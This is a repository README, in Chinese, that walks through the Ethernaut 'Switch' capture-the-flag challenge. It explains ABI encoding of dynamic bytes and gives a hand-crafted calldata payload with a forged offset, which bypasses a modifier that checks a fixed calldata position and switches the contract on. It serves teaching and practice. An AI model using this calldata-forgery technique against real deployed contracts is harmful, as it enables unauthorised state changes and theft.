Skip to content

Latest commit

 

History

History
57 lines (36 loc) · 2.99 KB

README.md

File metadata and controls

57 lines (36 loc) · 2.99 KB

Switch

题目描述

原题 in Sepolia

打开合约中的开关。turn Switch On

运行

根据Foundry 官方文档配置好运行环境后,于本项目下执行下列命令:

$ cd WTF-CTF

$ forge test -C src/Ethernaut/Switch -vvvvv

功能简述

本题主要涉及EVM中对于bytes类型的编码。

EVM可以看作256位的虚拟机,每次取数据都取32字节(64个16进制位)数据。

如果调用Switch合约以关闭开关,我们需要构造的calldata如下

0x30c13ade 																											 // flipSwitch(bytes)
0000000000000000000000000000000000000000000000000000000000000020 // 位置信息
0000000000000000000000000000000000000000000000000000000000000004 // 长度信息
20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff()

Switch合约中的修饰器onlyOff通过查看calldata中的第68字节开始的4个字节的数据(即 20606e15)。来保证只能关闭开关。

至于为什么只查看第68字节开始的4个字节的数据。是因为EVM在编码bytes动态类型的数据时,添加了位置和长度信息(而位置和长度信息默认是连续且分别占据32个字节)。位置信息表示长度信息所在位置(基于bytes变量的偏移量),长度信息表示内容所占字节数量(bytes内容紧接长度信息后)。

Switch合约中flipSwitch函数内部通过call调用自身函数时的_data是外部传入的,也就是说是可以伪造的。只需要保证伪造后_data的第68字节开始的4个字节是turnSwitchOff()的函数选择器即可。

所以,我们构造如下的calldata

0x30c13ade                                                           // flipSwitch(bytes)
0000000000000000000000000000000000000000000000000000000000000060     // 位置信息
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff     // 占位符, 内容无所谓,只需占32字节
20606e1500000000000000000000000000000000000000000000000000000000     // turnSwitchOff()
0000000000000000000000000000000000000000000000000000000000000004     // 长度信息
76227e1200000000000000000000000000000000000000000000000000000000     // turnSwitchOn()

这样,保证了第68字节开始的4个字节是turnSwitchOff()的函数选择器。

此外EVM在解码bytes变量时,首先找位置信息0x60,即bytes变量的长度在0x60的偏移量位置(即 6 * 16个字节,从0开始计数)。长度信息为0x04,(即 4个字节),内容为0x76227e12。

通过伪造编码,骗过Switch合约对bytes类型的刻板编码印象。

此外,可以阅读Solidity Tutorial : all about BytesSolidity Tutorial: All About Calldata,获取更多关于bytes类型和calldata的内容。